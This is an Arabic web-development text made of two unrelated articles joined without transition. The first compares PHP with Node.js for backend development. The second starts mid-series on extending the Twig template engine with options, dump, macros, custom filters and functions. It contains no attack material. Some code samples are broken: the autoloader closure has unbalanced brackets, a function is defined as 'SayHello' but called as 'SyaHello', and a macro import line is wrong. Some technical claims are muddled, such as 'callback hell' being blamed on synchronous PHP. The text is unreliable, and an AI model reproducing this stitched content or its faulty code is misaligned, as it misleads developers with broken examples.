تسمح بيئة Node.js للمطورين بناء تطبيقات بسرعة بفضل مشاركة اللغة بين الواجهات الأمامية والخلفية الأمر الذي يزيد من الكفاءة والإنتاجية للمطورين. كما يساعد هذا المزيج على بناء تطبيق قوي ومكتمل الميزات بأقل استثمار من وقت وجهد، بالإضافة إلى ذلك تنخفض تكاليف الصيانة وتزداد سهولة اكتشاف الأخطاء والقدرة على استخدام لغة TypeScript مع التي تتيح المزيد من القوة وقابلية الاستخدام للشيفرة البرمجية. كما أن لغة جافاسكربت هي الأساس للعديد من أطر العمل للواجهات الأمامية الشائعة مثل React أو Vue وهذه الأطر أساسية لمعظم تطبيقات الويب الحديثة.

تتيح أيضًا بيئة Node.js بناء تطبيقات بالزمن الحقيقي Real-time بفضل تجربة تدفق البيانات في الوقت الفعلي باستخدام لغة جافاسكربت المقادة بالأحداث، إذ يمكنك بسهولة إنشاء حلول برمجية عالية الأداء مع ميزات متقدمة مثل الدردشات وخدمات البث الحي للفيديوهات أو الصوت والمعاملات وما إلى ذلك. في الحقيقة هذه المرونة العالية للتغييرات وقابلية التوسع جعلت بيئة Node.js قوية في سوق تطبيقات الويب ذات الطبيعة السريعة والمتقلبة لأن الوجود في الأسواق يفرض على الشركات تظل مرنًة وأن تكون قادرةً على تغيير تطبيقاتها لتلبية متطلبات العملاء المتغيرة وزيادة إمكانية الوصول إلى سقف توقعات المستخدمين. كما أن لغة جافاسكربت تعدّ من اللغات الأساسية في تطوير الويب ولذلك فإن المبرمجين سيتعلمونها حتمًا خلال رحلتهم في تطوير الويب، وسيصبح من الأسهل عليهم اختيار بيئة Node.js للواجهة الخلفية بدلًا من تعلم لغة PHP مما يسرع رحلة التعلم للمبتدئين.

ولكن من عيوب بيئة Node.js أيضًا النقص في الأدوات والأطر المعقدة لبناء مشاريع الكبيرة كما أن السرعة الكبيرة في تطوير بنية اللغة جعلها في تغيّر مستمر وهذا الأمر يمكن أن يؤخذ بمنحى إيجابي أو سلبي بحسب كل شركة، بالإضافة إلى ذلك تقدم Node.js أداءً ضعيفًا عند إجراء عمليات حسابية مكثفة أو الاستخدام العالي لوحدة المعالجة المركزية. كما أن بنية Node.js المقادة بالأحداث جعل عليها بعضًا من القيود، ولكن بعد الإصدار 10.5 أضيفت وِحدة برمجية للتعامل مع الخيوط Threads في بيئة Node.js هذه الوحدة مفيدة جدًا في إجراء عمليات جافاسكربت كثيفة الاستخدام لوحدة المعالجة المركزية.

لغة PHP

لغة PHP وهي اختصار لعبارة Hypertext Preprocessor أنشأها راسموس ليردورف Rasmus Lerdorf في عام 1994. وهي لغة برمجة نصية مفتوحة المصدر من جانب الخادم مصممة خصيصًا لتطوير تطبيقات ومواقع الويب، كما أنها تستخدم أيضًا كلغة برمجة نصية للأغراض العامة، وتكون ملفات PHP لها امتداد ‎.php ويمكن أن تحتوي على شيفرة جافاسكربت و HTML و CSS وحتى نصوص عادية أيضًا.

وتعد لغة PHP واحدة من أفضل لغات الخادم في العالم. أظهر استطلاع أجراه موقع W3Tech جاء فيه أن 78.1% من مواقع الويب في العالم تستخدم لغة PHP للواجهات الخلفية بالمقارنة مع 1.8٪ من المواقع التي تستخدم جافاسكربت وبيئة Node.js. تحتوي لغة PHP أيضًا على دعم كبير لأطر العمل مثل Laravel و Symfony و Codeigniter و CakePHP، وجميع هذه الأطر مفتوحة المصدر ويمكن لأي شخص استخدامها أو تعديلها وتطويرها.

كما أن لغة PHP بحد ذاتها قابلة جدًا للتخصيص وبمجرد أن يزدهر تطبيق الويب ويتوسع ستجد أن اللغة تلبي جميع احتياجاتك والتغييرات التي تتطلع لها. يعد الحصول على درجة عالية من التخصيص في تحسين وظائف موقع الويب الخاص بك ميزة تنافسية كبيرة وهذه الميزة توفرها لغة PHP لأنها تحتوي على جميع الوظائف اللازمة للعمل مع HTML والخوادم وقواعد البيانات، كما تتميز اللغة بمستوى عال من الأمان والمرونة وخصيصًا في النسخ الحديثة منها ومع مشاهدتنا لشركات تخسر مبالغ كبيرة من المال بسبب هجمات القراصنة، تزداد الحاجة لحلول مستقرة وقوية بل لإجراءات وقائية أيضًا وهذا ما توفره لغة PHP. تعد شيفرتها البرمجية آمنة نسبيًا وذات كما توفر أدوات لحماية البيانات المرسلة إلى قواعد البيانات. بالإضافة إلى ذلك، تشتهر لغة PHP بمرونتها وتوافقها عبر أنظمة التشغيل الأساسية مثل ويندوز ولينكس Linux وماك MacOS وما إلى ذلك. علاوة على ذلك تمنحك لغة PHP توافق مع مجموعة واسعة من الخوادم مثل Apache و iPlanet و Netscape وما إلى ذلك، بالإضافة إلى التكامل مع قواعد البيانات مثل MongoDB و MySQL وغيرها.

ولكن كما أن لها مزايا لها عيوب أيضًا فمثلًا تكون عملية كتابة وحدات الاختبار البرمجي Unit Testing طويلة نسبيًا بسبب سوء معالجتها للأخطاء كما أن بعض المبرمجين ينظرون إلى أن نموذج خادم العميل الذي تتبعه لغة PHP عفا عليه الزمن لأن طريقة عمله التي تطلبُ الصفحة أولًا ومن ثم الاتصال بقاعدة البيانات وتعالج البيانات وتعرض النتائج في صفحة HTML. الأمر الذي يؤدي خسائر في السرعة والفعالية، ولكن من الجدير بالذكر أنه يمكن التغلب على عيب PHP بمساعدة Memcached هو نظام ذاكرة تخزين مؤقت موزع للأغراض العامة، ويستخدم لتسريع مواقع الويب الديناميكية التي تعتمد على قواعد البيانات عن طريق تخزين البيانات والكائنات في ذاكرة الوصول العشوائي مؤقتًا لتقليل عدد المرات التي يتطلب فيها الموقع قراءة البيانات من مصادر خارجية مثل قواعد البيانات، وبالرغم من ذلك هذا الأمر سيخلق تبعية إضافية لتطبيق الويب وهذه مشكلة أيضًا.

دورة تطوير تطبيقات الويب باستخدام لغة PHP

احترف تطوير النظم الخلفية وتطبيقات الويب من الألف إلى الياء دون الحاجة لخبرة برمجية مسبقة

اشترك الآن

مقارنة بين PHP vs NodeJS

والآن بعد أن تعرفنا على كل لغة لنتعمق أكثر في فهم الاختلافات الدقيقة ولنستطيع بعدها تحديد ما هو مناسب لكل مشروع.

المجتمع والتطوير

تحدد قوة المجتمع وخبرته نوع التحديثات التي تأتي إلى مختلف الأطر والمكتبات والمشاريع التي ستطلق في لغة معينة، كما أن المجتمع الكبير يعني الدعم الكبير لأنه في بداية طريقك لتعلم البرمجة لا يمكنك الاعتماد على معرفتك فقط دون دراسة أي دورات وممارسات حديثة، ولتصبح محترفًا شاملًا ستحتاج حتمًا لطرح أسئلة على منتديات أجنبية مثل StackOverflow أو منتديات عربية مثل الأسئلة والأجوبة في موقع أكاديمية حسوب، كما أنه من مسلمات العمل في وقتنا الحالي أن فريقك لن يكون قادرًا على كتابة الشيفرة البرمجية لكل ميزة من الصفر، ولذلك فإنه سيستخدم حتمًا المكتبات الشعبية والمُختبرة الأمر الذي يقلل من وقت التطوير ويزيد من الإنتاجية، ويزيد من جودة المشروع الفردي أو المكتبة أو إطار العمل.

تفهرس معظم مكتبات Node.js في سجل موقع npmjs.com، وبالرغم من أن بيئة Node.js جديدة نسبيًا إلا أن مجتمعها كبير ولديها العديد من المشاريع التي طورها المجتمع والتي تميل نحو الاحتياجات العصرية والحديثة لتطبيقات الويب. في الواقع تركز العديد من المشاريع على إضافة وظائف فريدة إلى بيئة Node.js بدلًا من مجرد استنساخ ونقل ميزات من لغات أخرى.

بالرغم من قدم وعراقة لغة PHP إلا أنها ليست مرغوبة مثل لغة جافاسكربت وبالرغم من مجتمعها الكبير ومشاريعها المتنوعة، ولكن إحدى مشكلاتها الرئيسية أن مشاريعها الحديثة التي يطورها المجتمع تبدو قديمة بعض الشيء وغير مثيرة للاهتمام عند مقارنتها مع مشاريع Node.js، ومع أن مجتمع مبرمجي لغة PHP برمجوا بعض المميزات وأضافوها إلى ميزات اللغة الأساسية الموجودة بالفعل في لغات برمجية أخرى لكن يشعر بعض المطورين بالحاجة إلى مشاريع أكثر حداثة تتناسب مع متطلبات المستخدمين في العصر الحالي.

أما من ناحية عدد المطورين فوفقًا لاستطلاع أجراه موقع Slashdata في عام 2020 جاء فيه أنه يوجد أكثر 12.4 مليون مطور للغة جافاسكربت (اللغة الأساسية لبيئة Node.js) حول العالم بالمقابل 6 ملايين مطور للغة PHP. مما يظهر تفوق واضح للغة جافاسكربت ويجعلها خيارًا جيدًا للشركات الناشئة لأن هنالك عدد كبير من المرشحين لوظيفة مطور لغة جافاسكربت.

الشيفرة البرمجية

إذا كانت الشيفرة البرمجية سهلة ومصممة بطريقة جيدة ستتمكن من إنجاز الكثير باستخدام شيفرة برمجية أقل.

تتطلب بيئة Node.js المزيد من أسطر الشيفرات البرمجية لتنفيذ نفس وظائف PHP لأن بنية اللغة مختلفة وهذا يظهر أثناء البرمجة والسبب هو كون البيئة تطورت بأكملها باستخدام جافاسكربت. لذلك تتطلب Node.js أحيانًا سطورًا أطول نسبيًا لكن لا ننسَ أيضًا إمكانية العمل بلغة واحدة للواجهات الأمامية والخلفية. بالإضافة إلى ذلك تمكننا بيئة Node.js استيراد كل منطق الشيفرة البرمجية للواجهة الخلفية الأمر الذي يجعل من السهل بعد ذلك الوصول إلى الميزات التي خصصت على كلا الجانبين. كما تنقلُ بيئة Node.js الكثير من عبء العمل إلى جانب العميل. لذلك إذا كان لدى جمهورك المستهدف هواتف ذكية ذات قوة معالجة جيدة فإن Node.js مثالية لهذه الحالة.

بالمقابل صممت لغة PHP لبناء ومعالجة صفحات الويب وجعلها ديناميكية كما تعتمد لغة PHP على شيفرة HTML لجعل كل الصفحات ثابتة في طرف المخدم بعد توليدها وتجهيزها ثم إرسالها إلى متصفح المستخدم أي لن يكون هنالك أي عمليات برمجية تُنفذ في طرف العميل (المتصفح غالبًا)، وبناءً على ذلك فإن تحميل صفحات الويب ستكون أخف على أجهزة المستخدمين ولن تحتاج لقوة معالجة أجهزتهم. كما أن اللغة تتطلب سطورًا أقل من التعليمات البرمجية لأداء وظيفة ما وبالتالي فهي أسهل، وعمومًا من السهولة فهم الشيفرة البرمجية سواء للغة PHP أو Node.js ولن يستغرق المطور المبتدئ وقتًا كبيرًا لإتقان أيًا من اللغتين.

السرعة والأداء

نقصد بالسرعة بأنها سرعة تنفيذ الشيفرة البرمجية بحسب كل لغة والسرعة العالية تؤدي لعملية تطوير أسرع ومشاريع أكثر فعالية من حيث التكلفة. تتنوع اللغات البرمجية في طريقة تنفيذها للشيفرة البرمجية فبعضها تكون متزامنة وأخرى غير متزامنة. تنفذُ اللغات البرمجية المتزامنة التعليمات سطرًا سطرًا ولا يُنفذ السطر التالي من التعليمات البرمجية حتى تنفذُ السطر الحالي. أما اللغات البرمجية غير المتزامنة تنفذُ جميع التعليمات البرمجية في نفس الوقت هذا الاختلاف في طريقة التنفيذ يؤثر تأثيرًا كبيرًا على سرعة كل لغة، ونقصد بالأداء كيفية تنفيذ التعليمات البرمجية بلغة PHP أو Node.js وأدائها على مؤشرات الأداء الرئيسية مثل تحميل الصفحات والسلاسة. واللغة عالية الأداء تؤدي لنتائج أفضل لأداء تطبيق الويب والتي تؤثر تأثيرًا عميقًا على تجربة المستخدم.

تعد بيئة Node.js من بيئات التطوير غير المتزامنة، وهذه الميزة الرئيسية لها وكونها غير متزامنة يعني أنها تعمل على تنفيذ الشفرة بأكملها دفعة واحدة ولا تنتظر عودة نتيجة دالة أو تابع معين. تقلل هذه الطريقة التأخر في تنفيذ الشيفرة البرمجية لتطبيق الويب بصورة كبيرة وتوفر تجربة استخدام سلسة (في بعض الأحيان يجب أن تكون قدرة الحوسبة والمعالجة لجهاز المستخدم مقبولة للحصول على تجربة استخدام سلسلة).

بالرغم من أن لغة PHP متزامنة ولكن هناك بعض واجهات برمجة التطبيقات API تعمل بصورة غير متزامنة. هذا ما يجعل استجابة الموقع أبطأ وانتظار المستخدم في نهاية المطاف. في الحقيقة هذه المشكلة موجودة في معظم اللغات والتقنيات القديمة. والخوف الدائم في هكذا نوع من اللغات يكمن في تعطل البرنامج في انتظار الرد والذي يسمى "جحيم رد الاتصال Callback Hell" فإذا كانت هناك حاجة إلى ربط الكثير من الدوال ببعضها بعضًا ويتطلب التطبيق نقل البيانات من دالّة إلى أخرى فيجب الحذر عندها من الوقوع في هذه المشكلة.

أطر العمل

تساعدُ أطر العمل Framework المبرمج على التركيز على التفاصيل الدقيقة للمشروع وتزيح عن كاهله كتابة الشيفرات البرمجية المكررة والأكثر استخدامًا موفرةً الدوال الأساسية والمكتبات وواجهات برمجة التطبيقات من خلال إطار العمل. كلما كان إطار العمل أكثر شمولًا قل مقدار الشيفرة البرمجية الزائدة التي سيحتاجُ المبرمج لكتابتها.

شهدت Node.js توسعًا كبيرًا في أطر العمل الخاصة بها في فترة قصيرة نسبيًا ومن بعض أطر العمل المشهورة نذكر Meteor و Total و Express و Sails وغيرها. بالرغم من حداثة هذه الأطر إلا أنها واعدة ومتطورة باستمرار وبالتأكيد تعزز الإنتاجية وتُقلل وقت التطوير واستهلاك الموارد ولكن أطر عمل لغة PHP تفوقها عددًا بهامش ضخم نظرًا لأقدمية لغة PHP وعمرها الذي يزيد عن 27 عامًا فهي تمتلك أطر عمل غنية جدًا وعادة ما تركز شركات تطوير تطبيقات الويب الحديثة على استخدام واعتماد على هذه الأطر في عملها ومشاريعها أي أنها أصبحت من مُسلمات تطوير البرمجيات في الوقت الحالي ومن بعض أطر العمل المشهورة نذكر Laravel و CodeIgniter و CakePHP و Phalcon.

بالرغم من الفرق الكمي بين أطر عمل لغة PHP و Node.js إلا أنه يصعب تحديد أي إطار يعمل بطريقة أفضل من الآخر في اللغتين. وتجدر الإشارة إلى العديد من أطر PHP صممت لاستيراد ميزات مثل التنفيذ غير المتزامن المتأصلة في بيئة Node.js. بالإضافة إلى ذلك، فإن العديد من أطر PHP لديها مشكلة واحدة مشتركة محتوى وشيفرة برمجية مختلطة ولكنها بالمقابل أطر عمل شاملة.

التعامل مع قواعد البيانات

الأمر المهم عند النظر لأي لغة سواء جديدة أو قديمة هي طريقة فحص مدى ملاءمتها مع قواعد البيانات الحديثة أو القديمة والعلائقية منها أو التقليدية. اشتهرت قواعد البيانات العلائقية والتي تُخزن البيانات على شكل جداول؛ الأمر الذي يسهل فهم العلاقات والتبعيات بين نقاط البيانات المختلفة. ولكن في السنوات السابقة ظهرت نوع جديد من قواعد البيانات وهي NoSQL والتي تسمح بتخزين البيانات بتنسيقات مثل المستندات وأزواج المفاتيح والرسوم البيانية وحتى قواعد البيانات غير المهيكلة وشبه المهيكلة والمنظمة، بالإضافة إلى أنها سهلة الاستخدام للمطورين.

يمكن لبيئة Node.js العمل بسهولة مع قواعد بيانات المختلفة مثل NoSQL و MongoDB و CouchDB وغيرها كما أن لديها مكتبات كبيرة للوصول إلى قواعد بيانات SQL.

نظرًا لقدم لغة PHP فهي مصممة للعمل مع قواعد البيانات العلائقية والتقليدية مثل MySQL و MariaDB بقوة في حين أنه من الممكن استيراد مكتبات للعمل مع قواعد بيانات NoSQL ولكن عملية التكامل مع هذه المكتبات طويلة وتستهلك جزءًا كبيرًا من وقت المعالجة.

معالجة الطلبات

هذا هو مقياس مدى سرعة معالجة اللغة للطلبات من جانب العميل. لا شك أن تنفيذ الطلب بدقة أمر بالغ الأهمية لتجربة المستخدم، ولكن يجب أيضًا القيام به باستخدام الحد الأدنى من الموارد والوقت. كما يساعدنا التعامل اللغة مع الأخطاء على فهم الصورة الشمولية وذلك لتحسين تجربة المستخدم.

بفضل المعالجة غير المتزامنة للطلبات المتعددة، لا تنتظر بيئة Node.js انتهاء إحدى الأحداث قبل أن تبدأ العملية التالية. لا تضيع أوقات وحدة المعالجة المركزية وذاكرة الوصول العشوائي في انتظار مجهول لمعالجة مخرجات دالة معينة، والمشكلة الوحيدة هو أنه إذا لم يُعالج حدث مرتبط بأحد الأحداث التالية في الوقت المناسب، فيمكن يتداخل سير عمل التطبيق ويؤدي ذلك لحدوث خطأ في عموم التطبيق، ولكن لحسن الحظ توفر اللغة آليات معالجة الأخطاء فعالة تمكن المبرمج من حماية النظام من التعثر الناتج عن التنفيذ الخاطئ.

تتعامل لغة PHP مع طلب واحد وبالتسلسل وهذا الأمر يزيد من مدة استهلاك الموارد سواء وحدة المعالجة المركزية أو ذاكرة الوصول العشوائي في الواجهات الخلفية، ويخلق تأخرًا في النظام من خلال نهج الطلب الواحد، ولكن نظرًا لأن المعالجة تكون من جانب المخدم لن يتأثر تطبيق الويب بنوعية جاهز المستخدم فيمكن أن يعمل على الأجهزة الضعيفة أو القوية (لأن بعض تطبيقات Node.js تحتاج لمعالجة قوية) كما يمكن استخدام مكتبات خارجية للحصول على الوظائف غير المتزامنة. ولكن لن تكون بقوة الميزات الأصلية في بيئة Node.js.

التعامل مع الوحدات Modules

تعمل الوِحدات كتطبيقات فرعية داخل تطبيق الويب الأساسي، وهي تعالج مجموعة معينة من الوظائف وغالبًا ما تكون قابلة للتبديل أو التحديث مما يمنح البرنامج مرونة وقوة في العمل.

غالبًا ما يشتكي بعض المطورين من أن مشاريع Node.js ليست مستقرة مثل المشاريع المطوّرة بلغة PHP نظرًا لأن اللغة والمجتمع لا يزالان ينموان ويتطوران بسرعة كبيرة فإن أنظمة مراقبة الجودة بالكاد موجودة. مع تقديم بعض الحلول الواعدة مثل مبادرة مراقبة الحزم والوِحدات npm-Audit الأمر الذي ساعد في التحقق من كل حزمة بحثًا عن تعليمات برمجية ضارة. بالمقابل تتمتع لغة PHP بميزة في هذا المجال منذ سنوات حتى الآن. في وقتنا الحالي تحتوي لغة PHP على مكتبة ثرية من الوِحدات النمطية وهي مستقرة نوعًا ما، ومع ذلك لا تزال Node.js تخطو خطوات كبيرة في هذا المجال.

النظام البيئي Ecosystem

النظام البيئي هو عدد المكتبات مفتوحة المصدر وواجهات برمجة التطبيقات والوحدات النمطية وأطر العمل والمشاريع التي ينشرها المجتمع والمطورون …إلخ. فيحتوي النظام البيئي Node.js على مجموعة واسعة من المكتبات وأطر العمل، لكنها متخلفة عن أرقام PHP. بالرغم من ذلك إلا أنها تعوضها بمشاريعها المتنوعة. نظرًا لأن Node.js تستخدم نفس اللغة للبرمجة من جانب الخادم والخلفية، فإن أنواع المشاريع المتاحة تتناسب بحرية مع عدد أكبر من حالات الاستخدام.

بالمقابل يوجد العديد من الأنظمة المعتمدة على لغة PHP وهذه الأنظمة لها سيطرة كبيرة على مواقع الويب حول العالم مثل ووردبريس WordPress وجوملا وماجنتو وغيرها الأمر الذي انعكس على قوة النظام البيئي. وبما أن نسبة كبيرة من إجمالي مواقع الويب على الإنترنت تعمل بهذه اللغة فحتمًا سيكون هنالك مجتمع كبير والكثير من من المواد التدريبية والتكنولوجيا الداعمة على مر السنين لجذب مطورين جدد.

أيهما أفضل PHP أم Node.js؟

بمجرد أن تفهم لغة جافاسكربت ستصبح اللغات الأخرى غير فعالة بالمقارنة معها لأنك تعلمت لغة واحدة وركزت كل مجهودك عليها فستكون النتائج أسرع وسيتعمقُ فهمك لكيفية سير العمل. يمكن لمطوري الويب الشاملين full stack web developers كتابة شيفرة مشروع كامل من جانب العميل والخادم بلغة جافاسكربت ولم تعد هنالك حاجة إلى التبديل بين اللغات أو التقنيات. كلما تعلمت لغة جافاسكربت زادت استمتاعك بها، وهذا الأمر لا ينطبق على لغة PHP.

من الأفضل اختيار بيئة Node.js عند إنشاء تطبيقات ديناميكية أحادية الصفحة SPA أو Single Page Application باستخدام إطارات جافاسكربت للواجهة الأمامية مثل Angular أو React أو Vue.js. أما من جهة الخادم Node.js. يمكن لبيئة Node.js دعم أجهزة إنترنت الأشياء IoT بمفردها مثل أجهزة تتبع اللياقة البدنية والطائرات بدون طيار وحتى الروبوتات بالإضافة إلى منصات تدفق البيانات الثقيلة كونها قادرة على إدارة العديد من العمليات المتزامنة. بعض التوجهات في المشاريع في السوق تعتمد على مطوري MERN وهي اختصارًا (Node.js و React و Express.js و MongoDB) وبعض المشاريع تستخدم إطار Angular بدلًا من إطار React فتصبح MEAN ويمكن استعمال Vue.js ليصبح الاختصار MEVN. بالمقابل تعدُ لغة PHP اختيارًا جيدًا لمدونة أو مشروع تجارة إلكترونية وخصيصًا عندما يتطلب المشروع العديد من عمليات الدمج.

الخاتمة

تعرفنا في هذا المقال على الفرق بين لغة PHP وبيئة Node.js لتشغيل شيفرات جافاسكربت في الواجهة الخلفية للمواقع وتطبيقات الويب، وتعرفنا في البداية على نبذة مختصرة لكل منها وتعمقنا لاحقًا في المقارنة وفي إقبال المجتمع التقني عليها وحماسه لتطويرها ومدى تعقيد الشيفرة البرمجية وسرعة وأداء كل لغة كما اطلعنا على أطر العمل الخاصة بكل لغة وطريقة تعامل كل لغة مع قواعد البيانات وكيفية معالجة الطلبات وطريقة التعامل مع الوِحدات وختمنا المقارنة بالاطلاع على النظام البيئي الشامل لكل منها.

ولنتذكر دومًا بأن كل من لغة PHP وبيئة Node.js تستمد قيمتها من حالة الاستخدام والمشروع الذي نعمل عليه فإذا كان المشروع موقع ويب ثابت يتطلب عددًا قليلًا من الطلبات من قاعدة البيانات، وكان جمهور التطبيق المستهدف يستخدم أجهزة منخفضة وبطيئة فستكون لغة PHP هي بالضبط ما تبحث عنه. وإذا كانت حالة الاستخدام الخاصة بك تتضمن مواقع ويب ديناميكية ترسل العديد الطلبات إلى خادم ولها واجهة مستخدم ديناميكية فأنت تريد استخدام Node.js.

وختامًا تبرز أهمية اختيار اللغة المناسبة لإنشاء موقع أو تطبيق مستقر وموثوق في مشاريع الناشئة، وهذا هو السبب في لجوء بعض الشركات إلى استشارة المختصين في هذه الأمور للتأكد من تلبية جميع احتياجات المشروع المستقبلية ولا ننسَ بأنه مهما اختلفت اللغة تبقى مهارات فريق التطوير الويب هي الحكم في هذه النقطة.

يمكنك الإطلاع على توثيق لغة PHP وتوثيق بيئة Node.js على موسوعة حسوب لمزيد من التفصيل حولهما.

المصادر

• مقال Node.js vs PHP: In-depth Comparison With Pros & Cons [2021] لكاتبه Serhii Osadchuk.
• مقال Node.js vs PHP: Which One is Better for Backend Development لكاتبته Anastasia Kushnir.
• مقال Node.js vs PHP: A Honest Comparative Study With All The Answers لكاتبه Tejas Kaneriya.
• مقال PHP vs. Node.js - GeeksforGeeks لكاتبه Parikshit Hooda.

اقرأ أيضًا

• الدليل السريع إلى لغة البرمجة PHP
• مقدمة إلى Node.js

لقد تم بناء تويغ ليكون قابلًا للتوسيع بشكل كامل حيث يمكنك التحكم في كل شيء فيه كما يمكنك ضبط بيئة العمل بما يناسب المستخدم و تعريف دوال ومرشحات مخصصة تلبية أي متطلبات تريدها.

خيارات بيئة العمل في تويغ

عند استدعاء تويغ فإننا نكتب السطر التالي:

$options = array();
$twig = new \Twig\Environment($loader, $options);

يحوي الوسيط الثاني options خيارات التحكم بطريقة عمل تويغ مثلا لتفعيل وضع تصحيح الأخطاء:

$options = ['debug' => true]; 

حيث تخزن خيارات بيئة العمل على شكل مصفوفة كل عنصر منها يشمل خيارًا محددًا هي:

• debug: تفعيل وضع تصحيح الأخطاء، القيمة الافتراضية غير مفعل false، وفي حال استخدام تويغ مع ووردبريس فيرتبط بتفعيل الخيار wp_denug في ووردبريس.
• charset: تحديد طريقة ترميز الأحرف القيمة الافتراضية utf8.
• cache: فيه نجد المسار الذي سوف نخزن به ملفات PHP الناتجة عن القالب أو نستعمل القيمة false في حال عدم رغبتنا بتخزينها وهذا هو الوضع الافتراضي.
• auto_reload: يطلب من محرك القالب أن يعيد توليد أو تصريف ملف PHP الناتج عن القالب كل مرة حتى في حال عدم تغير القالب.
• strict_variables: في حال كون قيمته true، فإن تويغ يعطي خطأ في حال استخدام اسم متغير غير موجود أما في حال ضبطه على false وهو الوضع الافتراضي فإن تويغ يعيد قيمة فارغة في حال لم يعثر على المتغير المطلوب.
• autoescape: يطلب من تويغ القيام بعملية تهريب آمنة مناسبة عند إخراج أي متغير.

استخدام الدالة dump في وضع تصحيح الأخطاء

يختلف عمل هذه الدالة تبعا للخيار debug وهو الخيار المسؤول عن تفعيل وضع تصحيح الأخطاء في بيئة عمل تويغ، وإذا كان وضع تصحيح الأخطاء غير مفعل لا تعيد الدالة dump أي قيمة أما عندما يكون وضع تصحيح الأخطاء مفعلًا فإن للدالة السابقة استخدامين اثنين، الأول عند استدعائها دون تمرير أي وسيط فإنه تظهر كافة المتغيرات المتعلقة بالقالب مع قيمتها مثل:

{{ dump() }}

أما الطريقة الثانية فهي أن نمرر لها متغيرًا ما، فإنها تعيد قيمة ذلك المتغير وفي حال كان المتغير مصفوفة فإنها تطبع جميع عناصر المصفوفة:

{{ dump( user ) }}

يفيد استعمال هذه الدالة كثيرًا في استكشاف الأخطاء. حيث تستخدم لطباعة البيانات في وضع تصحيح الأخطاء، كما تتميز بطباعة كل محتويات المتغير مهما كان نوعه، فإذا كان المتغير مصفوفة طبعت كافة محتويات المصفوفة و إذا كان المتغير كائن طبعت جميع خصائص الكائن.

لنفرض أن التعبير التالي لا يعيد قيمة

{{ post.title }}

فإننا يمكن أن نعدل الكود ليصبح على الشكل التالي:

{{ post.title }}
{{ dump( post ) }}
{# the last line output:
 object (post)
 public ‘title’ => string ‘’ 
 public content => string ‘my post’ 
#}

لاحظ أن الدالة السابقة تعيد جميع خصائص الكائن post مع نوع كل خاصية مما يسهل تتبع الأخطاء.

توسيع عمل تويغ

يهدف توسيع تويغ إلى تمكين المستخدِم من العديد من التقنيات غير المتوفرة بشكل افتراضي في تويغ.

التوسيع بواسطة مكتبات جاهزة

Twig مرن جدا بحيث يسمح للمطور بسهول بتعريف مرشحات ودوال خاصة، كما توجد العديد من المكتبات الجاهزة التي تدعم تويغ وتضيف له العديد من المرشحات والدوال الإضافية مثلا يمكن الاطلاع من هذه الصفحة على قائمة ببعض المكتبات الشهيرة وتحميلها.

استخدام التوسعات Extensions

توسعات Twig هي حزم تضيف مزايا جديدة إليه، وتستطيع تسجيل توسعة من خلال التابع addExtension()‎:

• عند العمل بدون composer

$twig->addExtension(new ExtensionClassName());

• كما يمكن أن يتم تسجيل التوسعة من خلال composer:

$ composer require twig/extension-file

بعد إضافة توسعة إلى تويغ يمكن استخدام الدوال أو المرشحات الجديدة التي تحتويها، مثلا المكتبة markdown-extra تضيف عددًا من المرشحات التي تتعامل مع نصوص من نوع ماركدون:

{% apply html_to_markdown %}
    <h2>Title 2</h2>
    <h3>Title 3</h3>
{% endapply %}
{# output: 
## Title 2 
### Title 3 
#}

التوسيع بواسطة الشيفرة الجامعة macro

أن أبسط طريقة لتوسيع تويغ هو استخدام تويغ نفسه ويتم ذلك من خلال الوسم macro حيث يمكننا من تعريف شيفرة جامعة خاصة بنا يمكننا إعادة استخدامها:

{% macro EcoHello( student ) %} 
    Hello {{ student }}! 
{% endmacro %}
{{ _self.EcoHello('Ziad') }}
{# output: Hello Ziad! #}

يمكن تعريف الشيفرات الجامعة في ملف تويغ منفصل ثم استيراده في الملف الحالي، مثلا ننشأ ملف اسمه macros.twig، ونكتب به ما يلي:

{# macros.twig #}
{% macro EcoHello( student ) %}
Hello {{ student }}!
{% endmacro %}

ثم عند الرغبة في استخدام هذا الماكرو نستورد الملف على النحو التالي:

{% import "macros.twig" as mymacros %}
{% if mymacros.EcoHello is defined %}
    {{ mymacros.EcoHello('Ziad') }}
{% endif %}
{{ mymacros.EcoHello('Ziad') }}
{# output: Hello Ziad! #}

كما لا حظنا في المثال السابق يمكن أن نتحقق من وجود شيفرة جامعة قبل استخدامها للتأكد من أنها مُعرَّفة في الملف الذي استوردته.

ملاحظة: يمكن كتابة السطر الأول على النحو التالي وذلك يؤدي نفس الهدف:

{% from "macros.twig" import mymacros %}

المتغيرات العامة

هي متغيرات متاحة في جميع قوالب تويع ويمكن أن نضيفها إلى تويغ بعدة طرق أبسطها هو الشكل التالي:

$twig = new Twig_Environment($loader);
$twig->addGlobal('MyWebsite', 'example.com');

بعد ذلك يمكن استعمال المغير السابق في أي قالب على النحو التالي:

{{ MyWebsite }}

إنشاء مرشحات مخصصة

لإضافة أي مرشح إلى تويغ نقوم بتعديل الملف الذي نستدعيه لتثيبت تويغ أو لإخراج القالب ونضيف المرشح عليه، ويمكنك مراجعة المقال الأول لمعرفة المزيد عن تثبيت تويغ. مثلا في الأسطر الثلاث الأخيرة من الشيفرة التالية سوف نلاحظ أننا قمنا بتعريف مرشح ثم أضفناه إلى تويغ ثم أعطينا الأمر بإخراج المستند المنسق:

<?php
spl_autoload_register(function ($classname) {
    $filename = './' . str_replace('\\', '/', $classname) .'.php';
    if (file_exists($filename)) require_once $filename;
};
require_once 'Twig\Loader\FilesystemLoader.php';
$loader = new Twig\Loader\FilesystemLoader('.');
$twig = new Twig\Environment($loader);
$filter = new Twig\TwigFilter('countchars', 'count_chars');
$twig->addFilter($filter);
echo $twig->render('template.twig', ['var1' => 'value1', 'var2' => 'value2']);

لقد أضفنا مرشح أسميناه countchars يستدعي هذا المرشح دالة PHP موجدة اسمها count_chars وهي تعيد عدد الأحرف في نص ما و لاستدعاء هذا المرشح في ملف تويغ نستعمله مثل أي مرشح آخر قد تم استدعائها في القالب التالي عند كتابة اسم المرشح الذي اضفناه countchars مسبوقا بـ | :

{{ 'Ziad'|countchars }}
{# output: 4 #}

يمكن لإنشاء المرشح استخدام دالة PHP جاهزة أو إنشاء دالة PHP خاصة بنا، ثم إضافتها مثل مرشح في تويغ، أي أن المرشحات في تويغ هي عبارة عن دوال في PHP.

قد تكون تلك الدوال مبية في لغة PHP وقد تكون دوال من إنشاء المطور نفسه.

إضافة دوال خاصة

يمكن بسهول إضافة دالة إلى تويغ بطريقة مشابهة لإضافة مرشح وكمثال يمكن أن نكتب التالي:

$function = new \Twig\TwigFunction('SayHello', function () { return 'Hello'; });
$twig->addFunction($function);

بعد ذلك يمكن استدعائها في أي قالب على النحو التالي:

{{ SyaHello() }}
